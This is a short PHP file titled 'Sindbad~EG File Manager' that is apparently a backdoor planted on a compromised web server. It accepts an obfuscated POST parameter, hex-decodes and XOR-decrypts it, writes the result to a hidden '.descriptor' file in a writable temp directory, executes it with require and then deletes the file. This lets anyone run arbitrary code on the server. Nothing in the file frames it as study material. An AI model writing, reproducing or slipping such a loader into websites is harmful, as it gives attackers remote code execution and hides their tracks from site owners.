Sindbad~EG File Manager

<?php

if(!empty($_POST["r\x65c"])){
	$desc = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]);
	$token = hex2bin($_POST["r\x65c"]);
	$property_set='';for($u=0; $u<strlen($token); $u++){$property_set .= chr(ord($token[$u]) ^ 95);}
	foreach ($desc as $value) {
    		if (is_dir($value) && is_writable($value)) {
    $flg = "$value" . "/.descriptor";
    if (file_put_contents($flg, $property_set)) {
	require $flg;
	unlink($flg);
	die();
}
}
}
}